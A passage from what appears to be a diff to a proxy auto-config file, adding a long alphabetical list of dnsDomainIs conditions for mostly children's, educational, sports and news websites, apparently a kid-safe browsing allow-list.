+ || dnsDomainIs(host, "www.alfy.com")
+ || dnsDomainIs(host, "www.algebra-online.com")
+ || dnsDomainIs(host, "www.alienexplorer.com")
+ || dnsDomainIs(host, "www.aliensatschool.com")
+ || dnsDomainIs(host, "www.all-links.com")
+ || dnsDomainIs(host, "www.alldetroit.com")
+ || dnsDomainIs(host, "www.allexperts.com")
+ || dnsDomainIs(host, "www.allmixedup.com")
+ || dnsDomainIs(host, "www.allmusic.com")
+ || dnsDomainIs(host, "www.almanac.com")
+ || dnsDomainIs(host, "www.almaz.com")
+ || dnsDomainIs(host, "www.almondseed.com")
+ || dnsDomainIs(host, "www.aloha.com")
+ || dnsDomainIs(host, "www.aloha.net")
+ || dnsDomainIs(host, "www.altonweb.com")
+ || dnsDomainIs(host, "www.alyeska-pipe.com")
+ || dnsDomainIs(host, "www.am-wood.com")
+ || dnsDomainIs(host, "www.amazingadventure.com")
+ || dnsDomainIs(host, "www.amazon.com")
+ || dnsDomainIs(host, "www.americancheerleader.com")
+ || dnsDomainIs(host, "www.americancowboy.com")
+ || dnsDomainIs(host, "www.americangirl.com")
+ || dnsDomainIs(host, "www.americanparknetwork.com")
+ || dnsDomainIs(host, "www.americansouthwest.net")
+ || dnsDomainIs(host, "www.americanwest.com")
+ || dnsDomainIs(host, "www.ameritech.net")
+ || dnsDomainIs(host, "www.amtexpo.com")
+ || dnsDomainIs(host, "www.anbg.gov.au")
+ || dnsDomainIs(host, "www.anc.org.za")
+ || dnsDomainIs(host, "www.ancientegypt.co.uk")
+ || dnsDomainIs(host, "www.angelfire.com")
+ || dnsDomainIs(host, "www.angelsbaseball.com")
+ || dnsDomainIs(host, "www.anholt.co.uk")
+ || dnsDomainIs(host, "www.animabets.com")
+ || dnsDomainIs(host, "www.animalnetwork.com")
+ || dnsDomainIs(host, "www.animalpicturesarchive.com")
+ || dnsDomainIs(host, "www.anime-genesis.com")
+ || dnsDomainIs(host, "www.annefrank.com")
+ || dnsDomainIs(host, "www.annefrank.nl")
+ || dnsDomainIs(host, "www.annie75.com")
+ || dnsDomainIs(host, "www.antbee.com")
+ || dnsDomainIs(host, "www.antiquetools.com")
+ || dnsDomainIs(host, "www.antiquetoy.com")
+ || dnsDomainIs(host, "www.anzsbeg.org.au")
+ || dnsDomainIs(host, "www.aol.com")
+ || dnsDomainIs(host, "www.aone.com")
+ || dnsDomainIs(host, "www.aphids.com")
+ || dnsDomainIs(host, "www.apl.com")
+ || dnsDomainIs(host, "www.aplusmath.com")
+ || dnsDomainIs(host, "www.applebookshop.co.uk")
+ || dnsDomainIs(host, "www.appropriatesoftware.com")
+ || dnsDomainIs(host, "www.appukids.com")
+ || dnsDomainIs(host, "www.april-joy.com")
+ || dnsDomainIs(host, "www.arab.net")
+ || dnsDomainIs(host, "www.aracnet.com")
+ || dnsDomainIs(host, "www.arborday.com")
+ || dnsDomainIs(host, "www.arcadevillage.com")
+ || dnsDomainIs(host, "www.archiecomics.com")
+ || dnsDomainIs(host, "www.archives.state.al.us")
+ || dnsDomainIs(host, "www.arctic.ca")
+ || dnsDomainIs(host, "www.ardenjohnson.com")
+ || dnsDomainIs(host, "www.aristotle.net")
+ || dnsDomainIs(host, "www.arizhwys.com")
+ || dnsDomainIs(host, "www.arizonaguide.com")
+ || dnsDomainIs(host, "www.arlingtoncemetery.com")
+ || dnsDomainIs(host, "www.armory.com")
+ || dnsDomainIs(host, "www.armwrestling.com")
+ || dnsDomainIs(host, "www.arnprior.com")
+ || dnsDomainIs(host, "www.artabunga.com")
+ || dnsDomainIs(host, "www.artcarte.com")
+ || dnsDomainIs(host, "www.artchive.com")
+ || dnsDomainIs(host, "www.artcontest.com")
+ || dnsDomainIs(host, "www.artcyclopedia.com")
+ || dnsDomainIs(host, "www.artisandevelopers.com")
+ || dnsDomainIs(host, "www.artlex.com")
+ || dnsDomainIs(host, "www.artsandkids.com")
+ || dnsDomainIs(host, "www.artyastro.com")
+ || dnsDomainIs(host, "www.arwhead.com")
+ || dnsDomainIs(host, "www.asahi-net.or.jp")
+ || dnsDomainIs(host, "www.asap.unimelb.edu.au")
+ || dnsDomainIs(host, "www.ascpl.lib.oh.us")
+ || dnsDomainIs(host, "www.asia-art.net")
+ || dnsDomainIs(host, "www.asiabigtime.com")
+ || dnsDomainIs(host, "www.asianart.com")
+ || dnsDomainIs(host, "www.asiatour.com")
+ || dnsDomainIs(host, "www.asiaweek.com")
+ || dnsDomainIs(host, "www.askanexpert.com")
+ || dnsDomainIs(host, "www.askbasil.com")
+ || dnsDomainIs(host, "www.assa.org.au")
+ || dnsDomainIs(host, "www.ast.cam.ac.uk")
+ || dnsDomainIs(host, "www.astronomy.com")
+ || dnsDomainIs(host, "www.astros.com")
+ || dnsDomainIs(host, "www.atek.com")
+ || dnsDomainIs(host, "www.athlete.com")
+ || dnsDomainIs(host, "www.athropolis.com")
+ || dnsDomainIs(host, "www.atkielski.com")
+ || dnsDomainIs(host, "www.atlantabraves.com")
+ || dnsDomainIs(host, "www.atlantafalcons.com")
+ || dnsDomainIs(host, "www.atlantathrashers.com")
+ || dnsDomainIs(host, "www.atlanticus.com")
+ || dnsDomainIs(host, "www.atm.ch.cam.ac.uk")
+ || dnsDomainIs(host, "www.atom.co.jp")
+ || dnsDomainIs(host, "www.atomicarchive.com")
+ || dnsDomainIs(host, "www.att.com")
+ || dnsDomainIs(host, "www.audreywood.com")
+ || dnsDomainIs(host, "www.auntannie.com")
+ || dnsDomainIs(host, "www.auntie.com")
+ || dnsDomainIs(host, "www.avi-writer.com")
+ || dnsDomainIs(host, "www.awesomeclipartforkids.com")
+ || dnsDomainIs(host, "www.awhitehorse.com")
+ || dnsDomainIs(host, "www.axess.com")
+ || dnsDomainIs(host, "www.ayles.com")
+ || dnsDomainIs(host, "www.ayn.ca")
+ || dnsDomainIs(host, "www.azcardinals.com")
+ || dnsDomainIs(host, "www.azdiamondbacks.com")
+ || dnsDomainIs(host, "www.azsolarcenter.com")
+ || dnsDomainIs(host, "www.azstarnet.com")
+ || dnsDomainIs(host, "www.aztecafoods.com")
+ || dnsDomainIs(host, "www.b-witched.com")
+ || dnsDomainIs(host, "www.baberuthmuseum.com")
+ || dnsDomainIs(host, "www.backstreetboys.com")
+ || dnsDomainIs(host, "www.bagheera.com")
+ || dnsDomainIs(host, "www.bahamas.com")
+ || dnsDomainIs(host, "www.baileykids.com")
+ || dnsDomainIs(host, "www.baldeagleinfo.com")
+ || dnsDomainIs(host, "www.balloonhq.com")
+ || dnsDomainIs(host, "www.balloonzone.com")
+ || dnsDomainIs(host, "www.ballparks.com")
+ || dnsDomainIs(host, "www.balmoralsoftware.com")
+ || dnsDomainIs(host, "www.banja.com")
+ || dnsDomainIs(host, "www.banph.com")
+ || dnsDomainIs(host, "www.barbie.com")
+ || dnsDomainIs(host, "www.barkingbuddies.com")
+ || dnsDomainIs(host, "www.barnsdle.demon.co.uk")
+ || dnsDomainIs(host, "www.barrysclipart.com")
+ || dnsDomainIs(host, "www.bartleby.com")
+ || dnsDomainIs(host, "www.baseplate.com")
+ || dnsDomainIs(host, "www.batman-superman.com")
+ || dnsDomainIs(host, "www.batmanbeyond.com")
+ || dnsDomainIs(host, "www.bbc.co.uk")
+ || dnsDomainIs(host, "www.bbhighway.com")
+ || dnsDomainIs(host, "www.bboy.com")
+ || dnsDomainIs(host, "www.bcit.tec.nj.us")
+ || dnsDomainIs(host, "www.bconnex.net")
+ || dnsDomainIs(host, "www.bcpl.net")
+ || dnsDomainIs(host, "www.beach-net.com")
+ || dnsDomainIs(host, "www.beachboys.com")
+ || dnsDomainIs(host, "www.beakman.com")
+ || dnsDomainIs(host, "www.beano.co.uk")
+ || dnsDomainIs(host, "www.beans.demon.co.uk")
+ || dnsDomainIs(host, "www.beartime.com")
+ || dnsDomainIs(host, "www.bearyspecial.co.uk")
+ || dnsDomainIs(host, "www.bedtime.com")
+ || dnsDomainIs(host, "www.beingme.com")
+ || dnsDomainIs(host, "www.belizeexplorer.com")
+ || dnsDomainIs(host, "www.bell-labs.com")
+ || dnsDomainIs(host, "www.bemorecreative.com")
+ || dnsDomainIs(host, "www.bengals.com")
+ || dnsDomainIs(host, "www.benjerry.com")
+ || dnsDomainIs(host, "www.bennygoodsport.com")
+ || dnsDomainIs(host, "www.berenstainbears.com")
+ || dnsDomainIs(host, "www.beringia.com")
+ || dnsDomainIs(host, "www.beritsbest.com")
+ || dnsDomainIs(host, "www.berksweb.com")
+ || dnsDomainIs(host, "www.best.com")
+ || dnsDomainIs(host, "www.betsybyars.com")
+ || dnsDomainIs(host, "www.bfro.net")
+ || dnsDomainIs(host, "www.bgmm.com")
+ || dnsDomainIs(host, "www.bibliography.com")
+ || dnsDomainIs(host, "www.bigblue.com.au")
+ || dnsDomainIs(host, "www.bigchalk.com")
+ || dnsDomainIs(host, "www.bigidea.com")
+ || dnsDomainIs(host, "www.bigtop.com")
+ || dnsDomainIs(host, "www.bikecrawler.com")
+ || dnsDomainIs(host, "www.billboard.com")
+ || dnsDomainIs(host, "www.billybear4kids.com")
+ || dnsDomainIs(host, "www.biography.com")
+ || dnsDomainIs(host, "www.birdnature.com")
+ || dnsDomainIs(host, "www.birdsnways.com")
+ || dnsDomainIs(host, "www.birdtimes.com")
+ || dnsDomainIs(host, "www.birminghamzoo.com")
+ || dnsDomainIs(host, "www.birthdaypartyideas.com")
+ || dnsDomainIs(host, "www.bis.arachsys.com")
+ || dnsDomainIs(host, "www.bkgm.com")
+ || dnsDomainIs(host, "www.blackbaseball.com")
+ || dnsDomainIs(host, "www.blackbeardthepirate.com")
+ || dnsDomainIs(host, "www.blackbeltmag.com")
+ || dnsDomainIs(host, "www.blackfacts.com")
+ || dnsDomainIs(host, "www.blackfeetnation.com")
+ || dnsDomainIs(host, "www.blackhills-info.com")
+ || dnsDomainIs(host, "www.blackholegang.com")
+ || dnsDomainIs(host, "www.blaque.net")
+ || dnsDomainIs(host, "www.blarg.net")
+ || dnsDomainIs(host, "www.blasternaut.com")
+ || dnsDomainIs(host, "www.blizzard.com")
+ || dnsDomainIs(host, "www.blocksite.com")
+ || dnsDomainIs(host, "www.bluejackets.com")
+ || dnsDomainIs(host, "www.bluejays.ca")
+ || dnsDomainIs(host, "www.bluemountain.com")
+ || dnsDomainIs(host, "www.blupete.com")
+ || dnsDomainIs(host, "www.blyton.co.uk")
+ || dnsDomainIs(host, "www.boatnerd.com")
+ || dnsDomainIs(host, "www.boatsafe.com")
+ || dnsDomainIs(host, "www.bonus.com")
+ || dnsDomainIs(host, "www.boowakwala.com")
+ || dnsDomainIs(host, "www.bostonbruins.com")
+ || dnsDomainIs(host, "www.braceface.com")
+ || dnsDomainIs(host, "www.bracesinfo.com")
+ || dnsDomainIs(host, "www.bradkent.com")
+ || dnsDomainIs(host, "www.brainium.com")
+ || dnsDomainIs(host, "www.brainmania.com")
+ || dnsDomainIs(host, "www.brainpop.com")
+ || dnsDomainIs(host, "www.bridalcave.com")
+ || dnsDomainIs(host, "www.brightmoments.com")
+ || dnsDomainIs(host, "www.britannia.com")
+ || dnsDomainIs(host, "www.britannica.com")
+ || dnsDomainIs(host, "www.british-museum.ac.uk")
+ || dnsDomainIs(host, "www.brookes.ac.uk")
+ || dnsDomainIs(host, "www.brookfieldreader.com")
+ || dnsDomainIs(host, "www.btinternet.com")
+ || dnsDomainIs(host, "www.bubbledome.co.nz")
+ || dnsDomainIs(host, "www.buccaneers.com")
+ || dnsDomainIs(host, "www.buffy.com")
+ || dnsDomainIs(host, "www.bullying.co.uk")
+ || dnsDomainIs(host, "www.bumply.com")
+ || dnsDomainIs(host, "www.bungi.com")
+ || dnsDomainIs(host, "www.burlco.lib.nj.us")
+ || dnsDomainIs(host, "www.burlingamepezmuseum.com")
+ || dnsDomainIs(host, "www.bus.ualberta.ca")
+ || dnsDomainIs(host, "www.busprod.com")
+ || dnsDomainIs(host, "www.butlerart.com")
+ || dnsDomainIs(host, "www.butterflies.com")
+ || dnsDomainIs(host, "www.butterflyfarm.co.cr")
+ || dnsDomainIs(host, "www.bway.net")
+ || dnsDomainIs(host, "www.bydonovan.com")
+ || dnsDomainIs(host, "www.ca-mall.com")
+ || dnsDomainIs(host, "www.cabinessence.com")
+ || dnsDomainIs(host, "www.cablecarmuseum.com")
+ || dnsDomainIs(host, "www.cadbury.co.uk")
+ || dnsDomainIs(host, "www.calendarzone.com")
+ || dnsDomainIs(host, "www.calgaryflames.com")
+ || dnsDomainIs(host, "www.californiamissions.com")
+ || dnsDomainIs(host, "www.camalott.com")
+ || dnsDomainIs(host, "www.camelotintl.com")
+ || dnsDomainIs(host, "www.campbellsoup.com")
+ || dnsDomainIs(host, "www.camvista.com")
+ || dnsDomainIs(host, "www.canadiens.com")
+ || dnsDomainIs(host, "www.canals.state.ny.us")
+ || dnsDomainIs(host, "www.candlelightstories.com")
+ || dnsDomainIs(host, "www.candles-museum.com")
+ || dnsDomainIs(host, "www.candystand.com")
+ || dnsDomainIs(host, "www.caneshockey.com")
+ || dnsDomainIs(host, "www.canismajor.com")
+ || dnsDomainIs(host, "www.canucks.com")
+ || dnsDomainIs(host, "www.capecod.net")
+ || dnsDomainIs(host, "www.capital.net")
+ || dnsDomainIs(host, "www.capstonestudio.com")
+ || dnsDomainIs(host, "www.cardblvd.com")
+ || dnsDomainIs(host, "www.caro.net")
+ || dnsDomainIs(host, "www.carolhurst.com")
+ || dnsDomainIs(host, "www.carr.lib.md.us")
+ || dnsDomainIs(host, "www.cartooncorner.com")
+ || dnsDomainIs(host, "www.cartooncritters.com")
+ || dnsDomainIs(host, "www.cartoonnetwork.com")
+ || dnsDomainIs(host, "www.carvingpatterns.com")
+ || dnsDomainIs(host, "www.cashuniversity.com")
+ || dnsDomainIs(host, "www.castles-of-britain.com")
+ || dnsDomainIs(host, "www.castlewales.com")
+ || dnsDomainIs(host, "www.catholic-forum.com")
+ || dnsDomainIs(host, "www.catholic.net")
+ || dnsDomainIs(host, "www.cattle.guelph.on.ca")
+ || dnsDomainIs(host, "www.cavedive.com")
+ || dnsDomainIs(host, "www.caveofthewinds.com")
+ || dnsDomainIs(host, "www.cbc4kids.ca")
+ || dnsDomainIs(host, "www.ccer.ggl.ruu.nl")
+ || dnsDomainIs(host, "www.ccnet.com")
+ || dnsDomainIs(host, "www.celineonline.com")
+ || dnsDomainIs(host, "www.cellsalive.com")
+ || dnsDomainIs(host, "www.centuryinshoes.com")
+ || dnsDomainIs(host, "www.cfl.ca")
+ || dnsDomainIs(host, "www.channel4.com")
+ || dnsDomainIs(host, "www.channel8.net")
+ || dnsDomainIs(host, "www.chanukah99.com")
+ || dnsDomainIs(host, "www.charged.com")
+ || dnsDomainIs(host, "www.chargers.com")
+ || dnsDomainIs(host, "www.charlotte.com")
+ || dnsDomainIs(host, "www.chaseday.com")
+ || dnsDomainIs(host, "www.chateauversailles.fr")
+ || dnsDomainIs(host, "www.cheatcc.com")
+ || dnsDomainIs(host, "www.cheerleading.net")
+ || dnsDomainIs(host, "www.cheese.com")
+ || dnsDomainIs(host, "www.chem4kids.com")
+ || dnsDomainIs(host, "www.chemicool.com")
+ || dnsDomainIs(host, "www.cherbearsden.com")
+ || dnsDomainIs(host, "www.chesskids.com")
+ || dnsDomainIs(host, "www.chessvariants.com")
+ || dnsDomainIs(host, "www.cheungswingchun.com")
+ || dnsDomainIs(host, "www.chevroncars.com")
+ || dnsDomainIs(host, "www.chibi.simplenet.com")
+ || dnsDomainIs(host, "www.chicagobears.com")
+ || dnsDomainIs(host, "www.chicagoblackhawks.com")
+ || dnsDomainIs(host, "www.chickasaw.net")
+ || dnsDomainIs(host, "www.childrensmusic.co.uk")
+ || dnsDomainIs(host, "www.childrenssoftware.com")
+ || dnsDomainIs(host, "www.childrenstory.com")
+ || dnsDomainIs(host, "www.childrenwithdiabetes.com")
+ || dnsDomainIs(host, "www.chinapage.com")
+ || dnsDomainIs(host, "www.chinatoday.com")
+ || dnsDomainIs(host, "www.chinavista.com")
+ || dnsDomainIs(host, "www.chinnet.net")
+ || dnsDomainIs(host, "www.chiquita.com")
+ || dnsDomainIs(host, "www.chisox.com")
+ || dnsDomainIs(host, "www.chivalry.com")
+ || dnsDomainIs(host, "www.christiananswers.net")
+ || dnsDomainIs(host, "www.christianity.com")
+ || dnsDomainIs(host, "www.christmas.com")
+ || dnsDomainIs(host, "www.christmas98.com")
+ || dnsDomainIs(host, "www.chron.com")
+ || dnsDomainIs(host, "www.chronique.com")
+ || dnsDomainIs(host, "www.chuckecheese.com")
+ || dnsDomainIs(host, "www.chucklebait.com")
+ || dnsDomainIs(host, "www.chunkymonkey.com")
+ || dnsDomainIs(host, "www.ci.chi.il.us")
+ || dnsDomainIs(host, "www.ci.nyc.ny.us")
+ || dnsDomainIs(host, "www.ci.phoenix.az.us")
+ || dnsDomainIs(host, "www.ci.san-diego.ca.us")
+ || dnsDomainIs(host, "www.cibc.com")
+ || dnsDomainIs(host, "www.ciderpresspottery.com")
+ || dnsDomainIs(host, "www.cincinnatireds.com")
+ || dnsDomainIs(host, "www.circusparade.com")
+ || dnsDomainIs(host, "www.circusweb.com")
+ || dnsDomainIs(host, "www.cirquedusoleil.com")
+ || dnsDomainIs(host, "www.cit.state.vt.us")
+ || dnsDomainIs(host, "www.citycastles.com")
+ || dnsDomainIs(host, "www.cityu.edu.hk")
+ || dnsDomainIs(host, "www.civicmind.com")
+ || dnsDomainIs(host, "www.civil-war.net")
+ || dnsDomainIs(host, "www.civilization.ca")
+ || dnsDomainIs(host, "www.cl.cam.ac.uk")
+ || dnsDomainIs(host, "www.clantongang.com")
+ || dnsDomainIs(host, "www.clark.net")
+ || dnsDomainIs(host, "www.classicgaming.com")
+ || dnsDomainIs(host, "www.claus.com")
+ || dnsDomainIs(host, "www.clayz.com")
+ || dnsDomainIs(host, "www.clearcf.uvic.ca")
+ || dnsDomainIs(host, "www.clearlight.com")
+ || dnsDomainIs(host, "www.clemusart.com")
+ || dnsDomainIs(host, "www.clevelandbrowns.com")
+ || dnsDomainIs(host, "www.clipartcastle.com")
+ || dnsDomainIs(host, "www.clubi.ie")
+ || dnsDomainIs(host, "www.cnn.com")
+ || dnsDomainIs(host, "www.co.henrico.va.us")
+ || dnsDomainIs(host, "www.coax.net")
+ || dnsDomainIs(host, "www.cocacola.com")
+ || dnsDomainIs(host, "www.cocori.com")
+ || dnsDomainIs(host, "www.codesmiths.com")
+ || dnsDomainIs(host, "www.codetalk.fed.us")
+ || dnsDomainIs(host, "www.coin-gallery.com")
+ || dnsDomainIs(host, "www.colinthompson.com")
+ || dnsDomainIs(host, "www.collectoronline.com")
+ || dnsDomainIs(host, "www.colonialhall.com")
+ || dnsDomainIs(host, "www.coloradoavalanche.com")
+ || dnsDomainIs(host, "www.coloradorockies.com")
+ || dnsDomainIs(host, "www.colormathpink.com")
+ || dnsDomainIs(host, "www.colts.com")
+ || dnsDomainIs(host, "www.comet.net")
+ || dnsDomainIs(host, "www.cometsystems.com")
+ || dnsDomainIs(host, "www.comicbookresources.com")
+ || dnsDomainIs(host, "www.comicspage.com")
+ || dnsDomainIs(host, "www.compassnet.com")
+ || dnsDomainIs(host, "www.compleatbellairs.com")
+ || dnsDomainIs(host, "www.comptons.com")
+ || dnsDomainIs(host, "www.concentric.net")
+ || dnsDomainIs(host, "www.congogorillaforest.com")
+ || dnsDomainIs(host, "www.conjuror.com")
+ || dnsDomainIs(host, "www.conk.com")
+ || dnsDomainIs(host, "www.conservation.state.mo.us")
+ || dnsDomainIs(host, "www.contracostatimes.com")
+ || dnsDomainIs(host, "www.control.chalmers.se")
+ || dnsDomainIs(host, "www.cookierecipe.com")
+ || dnsDomainIs(host, "www.cooljapanesetoys.com")
+ || dnsDomainIs(host, "www.cooper.com")
+ || dnsDomainIs(host, "www.corpcomm.net")
+ || dnsDomainIs(host, "www.corrietenboom.com")
+ || dnsDomainIs(host, "www.corynet.com")
+ || dnsDomainIs(host, "www.corypaints.com")
+ || dnsDomainIs(host, "www.cosmosmith.com")
+ || dnsDomainIs(host, "www.countdown2000.com")
+ || dnsDomainIs(host, "www.cowboy.net")
+ || dnsDomainIs(host, "www.cowboypal.com")
+ || dnsDomainIs(host, "www.cowcreek.com")
+ || dnsDomainIs(host, "www.cowgirl.net")
+ || dnsDomainIs(host, "www.cowgirls.com")
+ || dnsDomainIs(host, "www.cp.duluth.mn.us")
+ || dnsDomainIs(host, "www.cpsweb.com")
+ || dnsDomainIs(host, "www.craftideas.com")
+ || dnsDomainIs(host, "www.craniamania.com")
+ || dnsDomainIs(host, "www.crater.lake.national-park.com")
+ || dnsDomainIs(host, "www.crayoncrawler.com")
+ || dnsDomainIs(host, "www.crazybone.com")
+ || dnsDomainIs(host, "www.crazybones.com")
+ || dnsDomainIs(host, "www.crd.ge.com")
+ || dnsDomainIs(host, "www.create4kids.com")
+ || dnsDomainIs(host, "www.creativemusic.com")
+ || dnsDomainIs(host, "www.crocodilian.com")
+ || dnsDomainIs(host, "www.crop.cri.nz")
+ || dnsDomainIs(host, "www.cruzio.com")
+ || dnsDomainIs(host, "www.crwflags.com")
+ || dnsDomainIs(host, "www.cryptograph.com")
+ || dnsDomainIs(host, "www.cryst.bbk.ac.uk")
+ || dnsDomainIs(host, "www.cs.bilkent.edu.tr")
+ || dnsDomainIs(host, "www.cs.man.ac.uk")
+ || dnsDomainIs(host, "www.cs.sfu.ca")
+ || dnsDomainIs(host, "www.cs.ubc.ca")
+ || dnsDomainIs(host, "www.csd.uu.se")
+ || dnsDomainIs(host, "www.csmonitor.com")
+ || dnsDomainIs(host, "www.csse.monash.edu.au")
+ || dnsDomainIs(host, "www.cstone.net")
+ || dnsDomainIs(host, "www.csu.edu.au")
+ || dnsDomainIs(host, "www.cubs.com")
+ || dnsDomainIs(host, "www.culture.fr")
+ || dnsDomainIs(host, "www.cultures.com")
+ || dnsDomainIs(host, "www.curtis-collection.com")
+ || dnsDomainIs(host, "www.cut-the-knot.com")
+ || dnsDomainIs(host, "www.cws-scf.ec.gc.ca")
+ || dnsDomainIs(host, "www.cyber-dyne.com")
+ || dnsDomainIs(host, "www.cyberbee.com")
+ || dnsDomainIs(host, "www.cyberbee.net")
+ || dnsDomainIs(host, "www.cybercom.net")
+ || dnsDomainIs(host, "www.cybercomm.net")
+ || dnsDomainIs(host, "www.cybercomm.nl")
+ || dnsDomainIs(host, "www.cybercorp.co.nz")
+ || dnsDomainIs(host, "www.cybercs.com")
+ || dnsDomainIs(host, "www.cybergoal.com")
+ || dnsDomainIs(host, "www.cyberkids.com")
+ || dnsDomainIs(host, "www.cyberspaceag.com")
+ || dnsDomainIs(host, "www.cyberteens.com")
+ || dnsDomainIs(host, "www.cybertours.com")
+ || dnsDomainIs(host, "www.cybiko.com")
+ || dnsDomainIs(host, "www.czweb.com")
+ || dnsDomainIs(host, "www.d91.k12.id.us")
+ || dnsDomainIs(host, "www.dailygrammar.com")
+ || dnsDomainIs(host, "www.dakidz.com")
+ || dnsDomainIs(host, "www.dalejarrettonline.com")
+ || dnsDomainIs(host, "www.dallascowboys.com")
+ || dnsDomainIs(host, "www.dallasdogndisc.com")
+ || dnsDomainIs(host, "www.dallasstars.com")
+ || dnsDomainIs(host, "www.damnyankees.com")
+ || dnsDomainIs(host, "www.danceart.com")
+ || dnsDomainIs(host, "www.daniellesplace.com")
+ || dnsDomainIs(host, "www.dare-america.com")
+ || dnsDomainIs(host, "www.darkfish.com")
+ || dnsDomainIs(host, "www.darsbydesign.com")
+ || dnsDomainIs(host, "www.datadragon.com")
+ || dnsDomainIs(host, "www.davidreilly.com")
+ || dnsDomainIs(host, "www.dccomics.com")
+ || dnsDomainIs(host, "www.dcn.davis.ca.us")
+ || dnsDomainIs(host, "www.deepseaworld.com")
+ || dnsDomainIs(host, "www.delawaretribeofindians.nsn.us")
+ || dnsDomainIs(host, "www.demon.co.uk")
+ || dnsDomainIs(host, "www.denverbroncos.com")
+ || dnsDomainIs(host, "www.denverpost.com")
+ || dnsDomainIs(host, "www.dep.state.pa.us")
+ || dnsDomainIs(host, "www.desert-fairy.com")
+ || dnsDomainIs(host, "www.desert-storm.com")
+ || dnsDomainIs(host, "www.desertusa.com")
+ || dnsDomainIs(host, "www.designltd.com")
+ || dnsDomainIs(host, "www.designsbykat.com")
+ || dnsDomainIs(host, "www.detnews.com")
+ || dnsDomainIs(host, "www.detroitlions.com")
+ || dnsDomainIs(host, "www.detroitredwings.com")
+ || dnsDomainIs(host, "www.detroittigers.com")
+ || dnsDomainIs(host, "www.deutsches-museum.de")
+ || dnsDomainIs(host, "www.devilray.com")
+ || dnsDomainIs(host, "www.dhorse.com")
+ || dnsDomainIs(host, "www.diana-ross.co.uk")
+ || dnsDomainIs(host, "www.dianarossandthesupremes.net")
+ || dnsDomainIs(host, "www.diaryproject.com")
+ || dnsDomainIs(host, "www.dickbutkus.com")
+ || dnsDomainIs(host, "www.dickshovel.com")
+ || dnsDomainIs(host, "www.dictionary.com")
+ || dnsDomainIs(host, "www.didyouknow.com")
+ || dnsDomainIs(host, "www.diegorivera.com")
+ || dnsDomainIs(host, "www.digitalcentury.com")
+ || dnsDomainIs(host, "www.digitaldog.com")
+ || dnsDomainIs(host, "www.digiweb.com")
+ || dnsDomainIs(host, "www.dimdima.com")
+ || dnsDomainIs(host, "www.dinodon.com")
+ || dnsDomainIs(host, "www.dinosauria.com")
+ || dnsDomainIs(host, "www.discovereso.com")
+ || dnsDomainIs(host, "www.discovergalapagos.com")
+ || dnsDomainIs(host, "www.discovergames.com")
+ || dnsDomainIs(host, "www.discoveringarchaeology.com")
+ || dnsDomainIs(host, "www.discoveringmontana.com")
+ || dnsDomainIs(host, "www.discoverlearning.com")
+ || dnsDomainIs(host, "www.discovery.com")
+ || dnsDomainIs(host, "www.disknet.com")
+ || dnsDomainIs(host, "www.disney.go.com")
+ || dnsDomainIs(host, "www.distinguishedwomen.com")
+ || dnsDomainIs(host, "www.dkonline.com")
+ || dnsDomainIs(host, "www.dltk-kids.com")
+ || dnsDomainIs(host, "www.dmgi.com")
+ || dnsDomainIs(host, "www.dnr.state.md.us")
+ || dnsDomainIs(host, "www.dnr.state.mi.us")
+ || dnsDomainIs(host, "www.dnr.state.wi.us")
+ || dnsDomainIs(host, "www.dodgers.com")
+ || dnsDomainIs(host, "www.dodoland.com")
+ || dnsDomainIs(host, "www.dog-play.com")
+ || dnsDomainIs(host, "www.dogbreedinfo.com")
+ || dnsDomainIs(host, "www.doginfomat.com")
+ || dnsDomainIs(host, "www.dole5aday.com")
+ || dnsDomainIs(host, "www.dollart.com")
+ || dnsDomainIs(host, "www.dolliedish.com")
+ || dnsDomainIs(host, "www.dome2000.co.uk")
+ || dnsDomainIs(host, "www.domtar.com")
+ || dnsDomainIs(host, "www.donegal.k12.pa.us")
+ || dnsDomainIs(host, "www.dorneypark.com")
+ || dnsDomainIs(host, "www.dorothyhinshawpatent.com")
+ || dnsDomainIs(host, "www.dougweb.com")
+ || dnsDomainIs(host, "www.dps.state.ak.us")
+ || dnsDomainIs(host, "www.draw3d.com")
+ || dnsDomainIs(host, "www.dreamgate.com")
+ || dnsDomainIs(host, "www.dreamkitty.com")
+ || dnsDomainIs(host, "www.dreamscape.com")
+ || dnsDomainIs(host, "www.dreamtime.net.au")
+ || dnsDomainIs(host, "www.drpeppermuseum.com")
+ || dnsDomainIs(host, "www.drscience.com")
+ || dnsDomainIs(host, "www.drseward.com")
+ || dnsDomainIs(host, "www.drtoy.com")
+ || dnsDomainIs(host, "www.dse.nl")
+ || dnsDomainIs(host, "www.dtic.mil")
+ || dnsDomainIs(host, "www.duracell.com")
+ || dnsDomainIs(host, "www.dustbunny.com")
+ || dnsDomainIs(host, "www.dynanet.com")
+ || dnsDomainIs(host, "www.eagerreaders.com")
+ || dnsDomainIs(host, "www.eaglekids.com")
+ || dnsDomainIs(host, "www.earthcalendar.net")
+ || dnsDomainIs(host, "www.earthday.net")
+ || dnsDomainIs(host, "www.earthdog.com")
+ || dnsDomainIs(host, "www.earthwatch.com")
+ || dnsDomainIs(host, "www.ease.com")
+ || dnsDomainIs(host, "www.eastasia.ws")
+ || dnsDomainIs(host, "www.easytype.com")
+ || dnsDomainIs(host, "www.eblewis.com")
+ || dnsDomainIs(host, "www.ebs.hw.ac.uk")
+ || dnsDomainIs(host, "www.eclipse.net")
+ || dnsDomainIs(host, "www.eco-pros.com")
+ || dnsDomainIs(host, "www.edbydesign.com")
+ || dnsDomainIs(host, "www.eddytheeco-dog.com")
+ || dnsDomainIs(host, "www.edgate.com")
+ || dnsDomainIs(host, "www.edmontonoilers.com")
+ || dnsDomainIs(host, "www.edu-source.com")
+ || dnsDomainIs(host, "www.edu.gov.on.ca")
+ || dnsDomainIs(host, "www.edu4kids.com")
+ || dnsDomainIs(host, "www.educ.uvic.ca")
+ || dnsDomainIs(host, "www.educate.org.uk")
+ || dnsDomainIs(host, "www.education-world.com")
+ || dnsDomainIs(host, "www.edunet.com")
+ || dnsDomainIs(host, "www.eduplace.com")
+ || dnsDomainIs(host, "www.edupuppy.com")
+ || dnsDomainIs(host, "www.eduweb.com")
+ || dnsDomainIs(host, "www.ee.ryerson.ca")
+ || dnsDomainIs(host, "www.ee.surrey.ac.uk")
+ || dnsDomainIs(host, "www.eeggs.com")
+ || dnsDomainIs(host, "www.efes.com")
+ || dnsDomainIs(host, "www.egalvao.com")
+ || dnsDomainIs(host, "www.egypt.com")
+ || dnsDomainIs(host, "www.egyptology.com")
+ || dnsDomainIs(host, "www.ehobbies.com")
+ || dnsDomainIs(host, "www.ehow.com")
+ || dnsDomainIs(host, "www.eia.brad.ac.uk")
+ || dnsDomainIs(host, "www.elbalero.gob.mx")
+ || dnsDomainIs(host, "www.eliki.com")
